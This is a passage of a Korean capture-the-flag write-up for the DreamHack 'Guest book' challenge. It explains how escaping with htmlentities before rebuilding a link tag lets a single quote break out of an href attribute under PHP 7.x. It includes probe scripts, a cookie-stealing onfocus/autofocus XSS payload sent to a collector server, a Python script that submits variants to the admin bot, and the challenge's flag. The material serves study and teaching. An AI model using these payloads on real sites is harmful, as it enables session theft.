[πŸ₯‡ Gold 2] μ΄μŠ€μΌ€μ΄ν”„κ°€ λλ‚œ 뒀에 νƒœκ·Έλ₯Ό λ§Œλ“€λ©΄ μ†Œμš©μ΄ μ—†λ‹€ β€” DreamHack Guest book 풀이

2026-07-29Β·1λΆ„ 읽기·

[πŸ₯‡ Gold 2] μ΄μŠ€μΌ€μ΄ν”„κ°€ λλ‚œ 뒀에 νƒœκ·Έλ₯Ό λ§Œλ“€λ©΄ μ†Œμš©μ΄ μ—†λ‹€ β€” DreamHack Guest book 풀이

배포 파일이 ν•¨μˆ˜ ν•˜λ‚˜λΏμΈ λ°©λͺ…둝 문제. htmlentities 둜 꼼꼼히 막아 놓고, κ·Έ λ‹€μŒ μ€„μ—μ„œ μ •κ·œμ‹μœΌλ‘œ λ‹€μ‹œ a νƒœκ·Έλ₯Ό μ‘°λ¦½ν•œλ‹€. PHP 7.x 의 htmlentities λŠ” 기본값이 ENT_COMPAT 라 ν™‘λ”°μ˜΄ν‘œλ₯Ό κ±΄λ“œλ¦¬μ§€ μ•Šκ³ , κ·Έ ν•œ κΈ€μžκ°€ href λ₯Ό λ‹«μ•„ 이벀트 ν•Έλ“€λŸ¬λ₯Ό 뢙일 자리λ₯Ό μ—°λ‹€. μ •κ·œμ‹μ΄ 첫 λ‹«λŠ” κ΄„ν˜Έμ—μ„œ λŠκΈ°λŠ” 탓에 κ΄„ν˜Έ μ—†λŠ” JS 만 써야 ν•œλ‹€.

문제: DreamHack β€” Guest book λΆ„λ₯˜: web λ‚œμ΄λ„: πŸ₯‡ Gold 2 FLAG: DH{26763025e32e6b24fedfc3206054d6a7}

문제 μ„€λͺ…은 μ§§λ‹€. PHP 둜 개발 쀑인 λ°©λͺ…둝이고, 글을 μ“°λŠ” κΈ°λŠ₯κ³Ό 였λ₯˜ λ‚˜λŠ” μ£Όμ†Œλ₯Ό κ΄€λ¦¬μžμ—κ²Œ μ•Œλ¦¬λŠ” Report κΈ°λŠ₯이 μžˆλ‹€. ν”Œλž˜κ·ΈλŠ” κ΄€λ¦¬μžμ˜ 쿠킀에 λ“€μ–΄ μžˆλ‹€.

즉 λͺ©ν‘œκ°€ μ²˜μŒλΆ€ν„° μ •ν•΄μ Έ μžˆλ‹€. κ΄€λ¦¬μž λΈŒλΌμš°μ €μ—μ„œ JS λ₯Ό μ‹€ν–‰μ‹œμΌœ document.cookie λ₯Ό λ°”κΉ₯으둜 λΉΌλ‚΄λŠ” 것. 남은 μ§ˆλ¬Έμ€ ν•˜λ‚˜λ‹€. μ–΄λ””λ‘œ λ°€μ–΄ 넣을 것인가.

Guest book 메인 νŽ˜μ΄μ§€ β€” v0.1 κΈ°λŠ₯ μ†Œκ°œμ— addLink 문법이 μ˜ˆμ‹œμ™€ ν•¨κ»˜ μ ν˜€ μžˆμ–΄ 곡격 ν‘œλ©΄μ„ λ¨Όμ € μ•Œλ € μ€€λ‹€
Guest book 메인 νŽ˜μ΄μ§€ β€” v0.1 κΈ°λŠ₯ μ†Œκ°œμ— addLink 문법이 μ˜ˆμ‹œμ™€ ν•¨κ»˜ μ ν˜€ μžˆμ–΄ 곡격 ν‘œλ©΄μ„ λ¨Όμ € μ•Œλ € μ€€λ‹€

메인 νŽ˜μ΄μ§€κ°€ μΉœμ ˆν•˜κ²Œλ„ 곡격 ν‘œλ©΄μ„ λ¨Όμ € μ•Œλ € μ€€λ‹€. "Support addLink" β€” λ§ˆν¬λ‹€μš΄ μŠ€νƒ€μΌ 링크 문법을 a νƒœκ·Έλ‘œ λ°”κΏ” μ€€λ‹€λŠ” λœ»μ΄λ‹€.


문제 κ°œμš”

ν•­λͺ©λ‚΄μš©
문제λͺ…Guest book
λ‚œμ΄λ„πŸ₯‡ Gold 2
λΆ„λ₯˜web
제곡 파일util.php (178λ°”μ΄νŠΈ, ν•¨μˆ˜ ν•˜λ‚˜)
μ„œλ²„Apache 2.4.52 / PHP (Ubuntu), κ΄€λ¦¬μž 봇은 HeadlessChrome
핡심 μ·¨μ•½μ μ΄μŠ€μΌ€μ΄ν”„ 이후에 μˆ˜ν–‰λ˜λŠ” νƒœκ·Έ 재쑰립 β†’ HTML 속성 μΈμ μ…˜

풀이 흐름은 이렇닀. htmlentities κ°€ μ‚΄λ € λ³΄λ‚΄λŠ” λ¬Έμžκ°€ 무엇인지 ν™•μΈν•˜κ³ , κ·Έ 문자둜 href 속성을 닫은 λ‹€μŒ, 같은 νƒœκ·Έμ— onfocus 와 autofocus λ₯Ό 뢙인닀. κ·Έ νŽ˜μ΄μ§€λ₯Ό Report 둜 κ΄€λ¦¬μž λ΄‡μ—κ²Œ μ—΄κ²Œ ν•˜λ©΄ 클릭 없이 μŠ€ν¬λ¦½νŠΈκ°€ λˆλ‹€.



🧩 λ°°κ²½ β€” 배포 파일이 ν•¨μˆ˜ ν•˜λ‚˜λΏμ΄λ‹€

내렀받은 압좕을 ν’€λ©΄ 파일이 λ”± ν•˜λ‚˜ λ‚˜μ˜¨λ‹€. 전문이 이게 μ „λΆ€λ‹€.

<?php
function addLink($content){
  $content = htmlentities($content);
  $content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
  return $content;
}
?>

두 μ€„μ§œλ¦¬ ν•¨μˆ˜μΈλ° μˆœμ„œκ°€ μ΄μƒν•˜λ‹€.

λ¨Όμ € htmlentities 둜 특수문자λ₯Ό 싀체 참쑰둜 λ°”κΎΌλ‹€. μ—¬κΈ°κΉŒμ§€λŠ” κ΅κ³Όμ„œμ μ΄λ‹€. 그런데 λ°”λ‘œ λ‹€μŒ μ€„μ—μ„œ preg_replace κ°€ <a href='...'> λ₯Ό μ›μ‹œ λ¬Έμžμ—΄λ‘œ λ‹€μ‹œ λ§Œλ“€μ–΄ λ‚Έλ‹€.

μ΄μŠ€μΌ€μ΄ν”„λŠ” "좜λ ₯ 직전"에 ν•΄μ•Ό μ˜λ―Έκ°€ μžˆλ‹€. μ΄μŠ€μΌ€μ΄ν”„λ₯Ό λ¨Όμ € ν•˜κ³  κ·Έ 뒀에 νƒœκ·Έλ₯Ό μ‘°λ¦½ν•˜λ©΄, 쑰립 λ‹¨κ³„μ—μ„œ μƒˆλ‘œ μƒκΈ°λŠ” λ”°μ˜΄ν‘œμ™€ κΊΎμ‡ λŠ” 아무 검사도 λ°›μ§€ μ•ŠλŠ”λ‹€.

노릴 곳은 $2 λ‹€. 링크의 URL 뢀뢄이 href='...' μ•ˆμ— κ·ΈλŒ€λ‘œ λ“€μ–΄κ°„λ‹€.

Guest book 의 κΈ€μ“°κΈ° 폼 β€” Content ν…μŠ€νŠΈμ˜μ—­ ν•˜λ‚˜μ™€ 제좜 λ²„νŠΌλΏμ΄κ³  method κ°€ μ—†μ–΄ GET 으둜 λ‚˜κ°„λ‹€
Guest book 의 κΈ€μ“°κΈ° 폼 β€” Content ν…μŠ€νŠΈμ˜μ—­ ν•˜λ‚˜μ™€ 제좜 λ²„νŠΌλΏμ΄κ³  method κ°€ μ—†μ–΄ GET 으둜 λ‚˜κ°„λ‹€

νΌμ—λŠ” method 속성이 μ—†λ‹€. HTML 기본값은 GET μ΄λ―€λ‘œ μž…λ ₯은 쿼리슀트링으둜 λ‚˜κ°„λ‹€. μ €μž₯도 ν•˜μ§€ μ•ŠλŠ”λ‹€. 넣은 값이 κ·Έ μžλ¦¬μ—μ„œ κ·ΈλŒ€λ‘œ λ Œλ”λ˜λŠ” λ°˜μ‚¬ν˜•μ΄λ‹€.


πŸ”¬ μ •μ°° β€” 무엇을 μ œμ–΄ν•  수 μžˆλ‚˜

λ¨Όμ € 정상 문법을 λ„£μ–΄ λ³Έλ‹€. [dreamhack](https://dreamhack.io) λ₯Ό Content 에 λ„£κ³  μ œμΆœν•œλ‹€.

정상 λ§ˆν¬λ‹€μš΄ 링크가 νŒŒλž€ dreamhack 링크둜 λ Œλ”λœ ν™”λ©΄. addLink κ°€ a νƒœκ·Έλ₯Ό λ§Œλ“€μ–΄ μ€€λ‹€.
정상 λ§ˆν¬λ‹€μš΄ 링크가 νŒŒλž€ dreamhack 링크둜 λ Œλ”λœ ν™”λ©΄. addLink κ°€ a νƒœκ·Έλ₯Ό λ§Œλ“€μ–΄ μ€€λ‹€.

μ˜λ„λŒ€λ‘œ a νƒœκ·Έκ°€ 생겼닀. 그러면 νƒœκ·Έλ₯Ό 직접 λ„£μœΌλ©΄ μ–΄λ–»κ²Œ λ˜λ‚˜. μ£Όμ†Œμ°½μ— content=<script>alert(1)</script> <img src=x onerror=alert(1)> λ₯Ό μ‹€μ–΄ λ³Έλ‹€.

슀크립트 νƒœκ·Έμ™€ img onerror λ₯Ό λ„£μ–΄ λ³Έ κ²°κ³Ό β€” μ‹€ν–‰λ˜μ§€ μ•Šκ³  κΈ€μž κ·ΈλŒ€λ‘œ 화면에 μ°ν˜”λ‹€. κΊΎμ‡ κ°€ λ¨Ήν˜”λ‹€
슀크립트 νƒœκ·Έμ™€ img onerror λ₯Ό λ„£μ–΄ λ³Έ κ²°κ³Ό β€” μ‹€ν–‰λ˜μ§€ μ•Šκ³  κΈ€μž κ·ΈλŒ€λ‘œ 화면에 μ°ν˜”λ‹€. κΊΎμ‡ κ°€ λ¨Ήν˜”λ‹€

μ „λΆ€ κΈ€μžλ‘œ μ°ν˜”λ‹€. htmlentities κ°€ κΊΎμ‡ λ₯Ό λ¨Ήμ—ˆμœΌλ‹ˆ μƒˆ νƒœκ·Έλ₯Ό λ§Œλ“€ 길은 μ—†λ‹€. κ·ΈλŸ¬λ‹ˆ 이미 λ§Œλ“€μ–΄μ§€λŠ” νƒœκ·Έ μ•ˆμœΌλ‘œ λ“€μ–΄κ°€μ•Ό ν•œλ‹€.

곡격을 배달할 ν†΅λ‘œλ„ 확인해 λ‘”λ‹€.

Report νŽ˜μ΄μ§€ β€” 접두어가 127.0.0.1 둜 λͺ» λ°•ν˜€ μžˆμ–΄ 이 μ„œλΉ„μŠ€ μ•ˆμ˜ 경둜만 λ΄‡μ—κ²Œ μ—΄κ²Œ ν•  수 μžˆλ‹€
Report νŽ˜μ΄μ§€ β€” 접두어가 127.0.0.1 둜 λͺ» λ°•ν˜€ μžˆμ–΄ 이 μ„œλΉ„μŠ€ μ•ˆμ˜ 경둜만 λ΄‡μ—κ²Œ μ—΄κ²Œ ν•  수 μžˆλ‹€

Report λŠ” 경둜만 λ°›λŠ”λ‹€. 접두어가 http://127.0.0.1/ 둜 λͺ» λ°•ν˜€ μžˆμœΌλ‹ˆ μž„μ˜ μ‚¬μ΄νŠΈλ₯Ό μ—΄κ²Œ ν•  μˆ˜λŠ” μ—†κ³ , 이 μ„œλΉ„μŠ€ μ•ˆμ˜ 경둜만 μ§€μ •ν•  수 μžˆλ‹€. κ·Έλž˜λ„ μΆ©λΆ„ν•˜λ‹€. λ°˜μ‚¬ν˜• XSS λŠ” μΏΌλ¦¬μŠ€νŠΈλ§μ— μ‹€λ¦¬λ‹ˆκΉŒ GuestBook.php?content=... λ₯Ό ν†΅μ§Έλ‘œ λ„˜κΈ°λ©΄ λœλ‹€.


🧱 λ°°κ²½ β€” htmlentities 의 기본값은 λ²„μ „λ§ˆλ‹€ λ‹€λ₯΄λ‹€

htmlentities($str) λ₯Ό ν”Œλž˜κ·Έ 없이 λΆ€λ₯΄λ©΄ 무엇을 μ΄μŠ€μΌ€μ΄ν”„ν• κΉŒ. 이 질문이 문제의 μ „λΆ€λ‹€.

PHP 8.1 μ—μ„œ 기본값이 λ°”λ€Œμ—ˆλ‹€. κ·Έ μ „κΉŒμ§€λŠ” ENT_COMPAT 라 μŒλ”°μ˜΄ν‘œλ§Œ λ§‰μ•˜κ³ , 8.1 λΆ€ν„°λŠ” ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 이라 ν™‘λ”°μ˜΄ν‘œκΉŒμ§€ λ§‰λŠ”λ‹€.

경계가 정말 거기인지 μ„Έ 버전에 ν•œ 쀄씩 λ¬Όμ–΄λ΄€λ‹€.

for tag in 7.4 8.0; do
  docker run --rm php:$tag-cli php -r 'printf("PHP %s β†’ %s\n", PHP_VERSION,
    htmlentities("\x27") === "\x27" ? "ENT_COMPAT" : "ENT_QUOTES");'
done
PHP 7.4.33 β†’ ENT_COMPAT
PHP 8.0.30 β†’ ENT_COMPAT
PHP 8.4.11 β†’ ENT_QUOTES

8.0 κΉŒμ§€λŠ” μ˜› λ™μž‘μ΄κ³  8.4 λŠ” μƒˆ λ™μž‘μ΄λ‹€. λ¬Έμ„œκ°€ λ§ν•˜λŠ” 경계와 λ§žλŠ”λ‹€.

λ¬Έμ„œλ§Œ λ―Ώμ§€ 말고 배포된 util.php λ₯Ό 두 버전에 κ·ΈλŒ€λ‘œ λ¬Όλ € λ³Έλ‹€. μ•„λž˜κ°€ κ·Έ ν™•μΈμš© μŠ€ν¬λ¦½νŠΈλ‹€. extracted/util.php λ₯Ό μˆ˜μ • 없이 require ν•œλ‹€.

<?php
// 배포된 util.php λ₯Ό κ·ΈλŒ€λ‘œ include ν•΄μ„œ addLink() 만 λ‹¨λ…μœΌλ‘œ κ΄€μ°°ν•œλ‹€.
require_once __DIR__ . '/extracted/util.php';
 
// κΈ°λ³Έ ν”Œλž˜κ·Έλ₯Ό μƒμˆ˜λ‘œ 계산해 찍으면 버전과 λ¬΄κ΄€ν•˜κ²Œ 같은 값이 λ‚˜μ™€ μ˜€ν•΄λ₯Ό λΆ€λ₯Έλ‹€.
// μ‹€μ œλ‘œ ν™‘λ”°μ˜΄ν‘œλ₯Ό λ„£μ–΄ 보고 μ–΄λŠ μͺ½μΈμ§€ νŒμ •ν•œλ‹€.
printf("PHP %s β€” htmlentities 기본값이 ν™‘λ”°μ˜΄ν‘œλ₯Ό μ΄μŠ€μΌ€μ΄ν”„ν•˜λ‚˜? %s\n\n",
       PHP_VERSION,
       htmlentities("'") === "'" ? "μ•„λ‹ˆμ˜€ (ENT_COMPAT)" : "예 (ENT_QUOTES)");
 
$cases = [
    'plain'        => "hello <script>alert(1)</script>",
    'link'         => "[dreamhack](https://dreamhack.io)",
    'quote-escape' => "[t](x' onfocus='alert`1`' autofocus=')",
    'js-uri'       => "[t](javascript:alert`1`)",
];
 
foreach ($cases as $name => $raw) {
    echo "── $name\n";
    echo "  in : $raw\n";
    echo "  out: " . addLink($raw) . "\n\n";
}
 
// λ‹¨κ³„λ³„λ‘œ μͺΌκ°œμ„œ μ–΄λ””μ„œ 무엇이 μ‚΄μ•„λ‚¨λŠ”μ§€ λ³Έλ‹€
$probe = "\" ' < > & (";
echo "── htmlentities 단독 (λ¬Έμžλ³„ 생쑴 확인)\n";
echo "  in : $probe\n";
echo "  out: " . htmlentities($probe) . "\n";

두 버전을 λ‚˜λž€νžˆ 돌렀 λΉ„κ΅ν•˜λŠ” λž˜νΌλ‹€. 7.4 λŠ” 도컀 μ΄λ―Έμ§€λ‘œ, 8.4 λŠ” 둜컬 PHP 둜 λŒλ¦°λ‹€.

#!/usr/bin/env bash
# 같은 util.php λ₯Ό PHP 7.4 와 8.4 에 각각 λ¬Όλ €, ν™‘λ”°μ˜΄ν‘œκ°€ μ‚΄μ•„λ‚¨λŠ”μ§€ λΉ„κ΅ν•œλ‹€.
# (sink_test.php 좜λ ₯μ—μ„œ 버전 쀄과 결정적인 두 λΈ”λ‘λ§Œ λ½‘λŠ”λ‹€)
PICK='1p;/quote-escape/,+3p;/htmlentities 단독/,+3p'
 
echo "════ PHP 7.4 (docker php:7.4-cli) ════"
docker run --rm -v "$PWD":/w -w /w php:7.4-cli php sink_test.php | sed -n "$PICK"
 
echo
echo "════ PHP 8.4 (둜컬) ════"
php sink_test.php | sed -n "$PICK"

php:7.4-cli 와 둜컬 PHP 8.4 의 addLink 좜λ ₯ 비ꡐ. 7.4 μ—μ„œλ§Œ ν™‘λ”°μ˜΄ν‘œκ°€ μ‚΄μ•„λ‚¨λŠ”λ‹€.
php:7.4-cli 와 둜컬 PHP 8.4 의 addLink 좜λ ₯ 비ꡐ. 7.4 μ—μ„œλ§Œ ν™‘λ”°μ˜΄ν‘œκ°€ μ‚΄μ•„λ‚¨λŠ”λ‹€.

κ²°κ³Όκ°€ κ°ˆλ¦°λ‹€.

PHP 7.4 μ—μ„œλŠ” 같은 μž…λ ₯이 <a href='x' onfocus='alert&#96;1&#96;' autofocus=''>t</a> κ°€ λœλ‹€. href κ°€ x μ—μ„œ λλ‚˜κ³  κ·Έ λ’€κ°€ μ „λΆ€ μƒˆ 속성이닀.

PHP 8.4 μ—μ„œλŠ” ν™‘λ”°μ˜΄ν‘œκ°€ &#039; 둜 λ°”λ€Œμ–΄ μ „λΆ€ href κ°’ μ•ˆμ— κ°‡νžŒλ‹€. 같은 μ½”λ“œμΈλ° λŸ°νƒ€μž„ 버전 ν•˜λ‚˜λ‘œ μ·¨μ•½ μ—¬λΆ€κ°€ λ’€μ§‘νžŒλ‹€.



πŸ’£ 핡심 β€” μ΄μŠ€μΌ€μ΄ν”„ λ‹€μŒμ— νƒœκ·Έλ₯Ό λ§Œλ“€λ©΄ μ†Œμš©μ΄ μ—†λ‹€

μ •λ¦¬ν•˜λ©΄ 이렇닀.

addLink νŒŒμ΄ν”„λΌμΈ 도식. htmlentities λ₯Ό ν†΅κ³Όν•œ λ’€ ν™‘λ”°μ˜΄ν‘œλ§Œ 살아남아 href λ₯Ό λ‹«λŠ”λ‹€.
addLink νŒŒμ΄ν”„λΌμΈ 도식. htmlentities λ₯Ό ν†΅κ³Όν•œ λ’€ ν™‘λ”°μ˜΄ν‘œλ§Œ 살아남아 href λ₯Ό λ‹«λŠ”λ‹€.

κΊΎμ‡ Β·μŒλ”°μ˜΄ν‘œΒ·μ•°νΌμƒŒλ“œλŠ” λ‹€ μ£½λŠ”λ‹€. ν™‘λ”°μ˜΄ν‘œ ν•˜λ‚˜λ§Œ μ‚΄μ•„ λ‚˜μ˜¨λ‹€. 그런데 preg_replace κ°€ λ§Œλ“œλŠ” ν…œν”Œλ¦Ώμ΄ ν•˜ν•„ href='$2' 둜 ν™‘λ”°μ˜΄ν‘œλ₯Ό μ“΄λ‹€.

살아남은 λ¬Έμžμ™€ μƒˆλ‘œ μƒκΈ°λŠ” κ΅¬λΆ„μžκ°€ μ •ν™•νžˆ κ²ΉμΉœλ‹€. μ—¬κΈ°κ°€ μ „λΆ€λ‹€.

이 μ„œλ²„κ°€ μ–΄λŠ μͺ½μΈμ§€ ν™•μΈν•œλ‹€. 두 κ°€μ§€λ₯Ό ν•œ λ²ˆμ— λ³Έλ‹€ β€” λ¬Έμžλ³„λ‘œ 무엇이 μ‚΄μ•„λ‚¨λŠ”μ§€, 그리고 그걸둜 μ‹€μ œ 속성 νƒˆμΆœμ΄ λ˜λŠ”μ§€.

#!/usr/bin/env bash
# μ‹€μ„œλ²„κ°€ μ–΄λŠ μͺ½ PHP 인지 ν™•μΈν•œλ‹€.
# β‘  λ¬Έμžλ³„ 생쑴: " < > & λŠ” μ£½κ³  ' 만 μ‚΄μ•„λ‚¨λŠ”κ°€
# β‘‘ κ·Έ ν™‘λ”°μ˜΄ν‘œλ‘œ href λ₯Ό λ‹«κ³  μƒˆ 속성을 뢙일 수 μžˆλŠ”κ°€
T=${1:-http://host3.dreamhack.games:11773}
 
echo "── β‘  μ›μ‹œ 문자 생쑴"
curl -s -G "$T/GuestBook.php" \
     --data-urlencode 'content=[q](a"b'"'"'c<d>e&f)' | grep -o '<pre>.*</pre>'
 
echo "── β‘‘ 속성 νƒˆμΆœ"
curl -s -G "$T/GuestBook.php" \
     --data-urlencode "content=[x](x' onfocus='alert\`1\`' autofocus=')" | grep -o '<pre>.*</pre>'

μ‹€μ„œλ²„ 응닡 확인 β€” μŒλ”°μ˜΄ν‘œμ™€ κΊΎμ‡ λŠ” 싀체 μ°Έμ‘°κ°€ λ˜λŠ”λ° ν™‘λ”°μ˜΄ν‘œλ§Œ 원본 κ·ΈλŒ€λ‘œ 남아 속성 νƒˆμΆœμ΄ κ°€λŠ₯ν•˜λ‹€
μ‹€μ„œλ²„ 응닡 확인 β€” μŒλ”°μ˜΄ν‘œμ™€ κΊΎμ‡ λŠ” 싀체 μ°Έμ‘°κ°€ λ˜λŠ”λ° ν™‘λ”°μ˜΄ν‘œλ§Œ 원본 κ·ΈλŒ€λ‘œ 남아 속성 νƒˆμΆœμ΄ κ°€λŠ₯ν•˜λ‹€

μ‹€μ„œλ²„λŠ” 7.x μͺ½μ΄λ‹€. β‘  μ—μ„œ " λŠ” &quot;, < λŠ” &lt; κ°€ λλŠ”λ° ' 만 λ©€μ©‘ν•˜λ‹€. β‘‘ μ—μ„œλŠ” onfocus 와 autofocus κ°€ 속성 μžλ¦¬μ— κ·ΈλŒ€λ‘œ μ•‰μ•˜λ‹€.

λΈŒλΌμš°μ €κ°€ 이걸 정말 μ†μ„±μœΌλ‘œ νŒŒμ‹±ν•˜λŠ”μ§€λ„ 확인해 λ‘”λ‹€. view-source: 둜 원본을 λ³Έλ‹€.

view-source ν™”λ©΄ 23번 쀄. onfocus 와 autofocus κ°€ μ†μ„±μœΌλ‘œ ν•˜μ΄λΌμ΄νŒ…λ˜μ–΄ μžˆλ‹€.
view-source ν™”λ©΄ 23번 쀄. onfocus 와 autofocus κ°€ μ†μ„±μœΌλ‘œ ν•˜μ΄λΌμ΄νŒ…λ˜μ–΄ μžˆλ‹€.

23번 쀄이 μš°λ¦¬κ°€ λ§Œλ“  νƒœκ·Έλ‹€. 크둬의 λ·°μ†ŒμŠ€ ν•˜μ΄λΌμ΄νŒ…μ΄ onfocus λ₯Ό 속성 이름 μƒ‰μœΌλ‘œ μΉ ν•˜κ³  μžˆλ‹€. λ¬Έμžμ—΄ μ•ˆμ— κ°‡νžŒ 게 μ•„λ‹ˆλΌ μ§„μ§œ 이벀트 ν•Έλ“€λŸ¬λ‹€.

κ΄„ν˜Έλ₯Ό λͺ» μ“΄λ‹€

μ—¬κΈ°μ„œ ν•œ 번 κ±Έλ¦°λ‹€. μ •κ·œμ‹μ„ λ‹€μ‹œ λ³Έλ‹€.

/\[(.*?)\]\((.*?)\)/

URL 그룹이 (.*?) λ‹€. 게으λ₯Έ μˆ˜λŸ‰μžλΌ 첫 번째 λ‹«λŠ” κ΄„ν˜Έμ—μ„œ λŠκΈ΄λ‹€. alert(1) 처럼 κ΄„ν˜Έκ°€ λ“  JS λ₯Ό μ“°λ©΄ alert(1 κΉŒμ§€λ§Œ URL 둜 작히고 λ’€λŠ” ν‰λ²”ν•œ κΈ€μžκ°€ λœλ‹€.

κ·Έλž˜μ„œ κ΄„ν˜Έ μ—†λŠ” JS 만 μ“Έ 수 μžˆλ‹€. 방법은 두 κ°€μ§€λ‹€.

λ°©μ‹νŽ˜μ΄λ‘œλ“œ 쑰각비고
λ°±ν‹± ν…œν”Œλ¦Ώ λ¦¬ν„°λŸ΄location= + λ°±ν‹±μœΌλ‘œ 감싼 URLμ•ˆμ— ${document.cookie} λ₯Ό λΌμ›Œ λ„£λŠ”λ‹€
λ¬Έμžμ—΄ μ—°κ²°location="…"+document.cookieμŒλ”°μ˜΄ν‘œλŠ” &quot; 둜 λ³€ν™˜λ˜μ§€λ§Œ λΈŒλΌμš°μ €κ°€ λ˜λŒλ¦°λ‹€

두 λ²ˆμ§Έκ°€ μž¬λ°Œλ‹€. μž…λ ₯ν•œ " λŠ” htmlentities κ°€ &quot; 둜 λ°”κΎΈμ§€λ§Œ, κ·Έ 값이 λ†“μ΄λŠ” 곳이 HTML 속성 μ•ˆμ΄λΌ λΈŒλΌμš°μ €κ°€ νŒŒμ‹±ν•˜λ©΄μ„œ λ‹€μ‹œ " 둜 λ˜λŒλ¦°λ‹€. JS 엔진에 도달할 λ•ŒλŠ” λ©€μ©‘ν•œ λ¬Έμžμ—΄ λ¦¬ν„°λŸ΄μ΄λ‹€. λ‘˜ λ‹€ μ‹€μ œλ‘œ λ™μž‘ν•˜λŠ” κ±Έ ν™•μΈν–ˆλ‹€.

클릭 없이 ν„°λœ¨λ¦¬κΈ°

a νƒœκ·Έμ— 뢙일 수 μžˆλŠ” 이벀트 쀑 μ‚¬μš©μž μ‘°μž‘μ΄ ν•„μš” μ—†λŠ” 게 ν•„μš”ν•˜λ‹€. onclick μ΄λ‚˜ onmouseover λŠ” 봇이 클릭도 마우슀 이동도 μ•ˆ ν•˜λ‹ˆ μ†Œμš©μ—†λ‹€.

autofocus λ₯Ό μ“΄λ‹€. HTML5 μ—μ„œ μ „μ—­ 속성이라 폼 컨트둀이 μ•„λ‹ˆμ–΄λ„ λΆ™κ³ , href κ°€ μžˆλŠ” a λŠ” 포컀슀λ₯Ό 받을 수 μžˆλŠ” μš”μ†Œλ‹€. νŽ˜μ΄μ§€κ°€ 뜨면 λΈŒλΌμš°μ €κ°€ μ•Œμ•„μ„œ 포컀슀λ₯Ό μ£Όκ³ , κ·Έλ•Œ onfocus κ°€ λˆλ‹€.

μ΅œμ’… νŽ˜μ΄λ‘œλ“œλŠ” μ΄λ ‡κ²Œ λœλ‹€.

[x](x' onfocus='location=`https://μˆ˜μ§‘μ„œλ²„/gb41?c=${document.cookie}`' autofocus=')

λ Œλ”λ˜λ©΄ μ΄λ ‡κ²Œ λ‚˜μ˜¨λ‹€.

<a href='x' onfocus='location=`https://μˆ˜μ§‘μ„œλ²„/gb41?c=${document.cookie}`' autofocus=''>x</a>

맨 λ’€ autofocus=' 의 μ—΄λ¦° λ”°μ˜΄ν‘œλŠ” preg_replace κ°€ λΆ™μ΄λŠ” '> 의 ν™‘λ”°μ˜΄ν‘œκ°€ λ‹«μ•„ μ€€λ‹€. κ·Έλž˜μ„œ autofocus='' 둜 κΉ”λ”ν•˜κ²Œ λλ‚œλ‹€. λ”°μ˜΄ν‘œ 개수λ₯Ό λ§žμΆ”λŠ” 게 νŽ˜μ΄λ‘œλ“œ μ„€κ³„μ˜ μ ˆλ°˜μ΄λ‹€.



πŸ› μ‚½μ§ˆ

β–ΆπŸ› μ‚½μ§ˆ 1 β€” 첫 λ¦¬ν¬νŠΈκ°€ κ·Έλƒ₯ μ‘°μš©ν–ˆλ‹€

νŽ˜μ΄λ‘œλ“œλ₯Ό μ™„μ„±ν•˜κ³  Report λ₯Ό λˆŒλ €λŠ”λ° μˆ˜μ§‘ μ„œλ²„μ— 아무것도 μ•ˆ μ™”λ‹€. 5뢄을 기닀렀도 μ—†μ—ˆλ‹€.

원인을 쒁히렀고 λ³€μˆ˜λ₯Ό λ‚˜λˆ  λ˜μ‘Œλ‹€. λ°œν™” 트리거(autofocus vs id + URL ν”„λž˜κ·Έλ¨ΌνŠΈ), JS 문법(λ°±ν‹± vs λ¬Έμžμ—΄ μ—°κ²°), ν”„λ‘œν† μ½œ(http vs https) μ„Έ κ°€μ§€λ₯Ό μ‘°ν•©ν•΄ 마컀 경둜λ₯Ό λ‹€λ₯΄κ²Œ μ€€ λ’€ μ–΄λŠ 게 λŒμ•„μ˜€λŠ”μ§€ λ΄€λ‹€.

#!/usr/bin/env python3
"""λ°œν™” 트리거·JS 문법·전솑 ν”„λ‘œν† μ½œμ„ ν•˜λ‚˜μ”© λ°”κΏ” κ°€λ©° 봇에 던져 보고,
μ–΄λŠ μ‘°ν•©μ—μ„œ μˆ˜μ§‘ μ„œλ²„ νžˆνŠΈκ°€ λ‚˜λŠ”μ§€ 마컀 경둜둜 κ΅¬λΆ„ν•œλ‹€."""
import os, sys, urllib.parse, requests
 
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:11773/").rstrip("/")
ATK    = os.environ["WG_ATTACKER"].rstrip("/")   # 격리 Kali VM + localhost.run 터널
 
VARIANTS = {
    # 마컀            : (트리거 속성,            JS λ³Έλ¬Έ)
    "gb41c": ("autofocus=' ",  'location="' + ATK + '/gb41c?c="+document.cookie'),   # ES5 λ¬Έμžμ—΄μ—°κ²°
    "gb41d": ("id='a' ",       'location="' + ATK + '/gb41d?c="+document.cookie'),   # ν”„λž˜κ·Έλ¨ΌνŠΈ 포컀슀(#a)
    "gb41e": ("autofocus=' ",  'location="' + ATK + '/gb41e"'),                      # μΏ ν‚€ 없이 순수 μ•„μ›ƒλ°”μš΄λ“œ 확인
}
 
for marker, (trigger, js) in VARIANTS.items():
    payload = "[x](x' " + trigger + "onfocus='" + js + "' q=')"
    frag = "#a" if "id=" in trigger else ""
    path = "GuestBook.php?content=" + urllib.parse.quote(payload, safe="") + frag
    render = requests.get(f"{TARGET}/GuestBook.php", params={"content": payload}, timeout=15).text
    print(f"[{marker}] λ Œλ”:", render.split("<pre>")[1].split("</pre>")[0])
    rp = requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
    print(f"[{marker}] report path={path[:70]}... -> {rp.status_code}")

gb41d 만 λŒμ•„μ™”λ‹€. κ·Έλž˜μ„œ "봇 λΈŒλΌμš°μ €μ—μ„œλŠ” autofocus κ°€ μ•ˆ λ¨Ήκ³  ν”„λž˜κ·Έλ¨ΌνŠΈ 포컀슀만 λœλ‹€"κ³  κ²°λ‘  λƒˆλ‹€. ν‹€λ¦° κ²°λ‘ μ΄μ—ˆλ‹€.

이 μŠ€ν¬λ¦½νŠΈκ°€ λ§Œλ“œλŠ” autofocus λ³€ν˜•μ„ λ Œλ” 결과둜 보면 닡이 λ‚˜μ˜¨λ‹€.

<a href='x' autofocus=' onfocus='location=&quot;...&quot;+document.cookie' q=''>x</a>

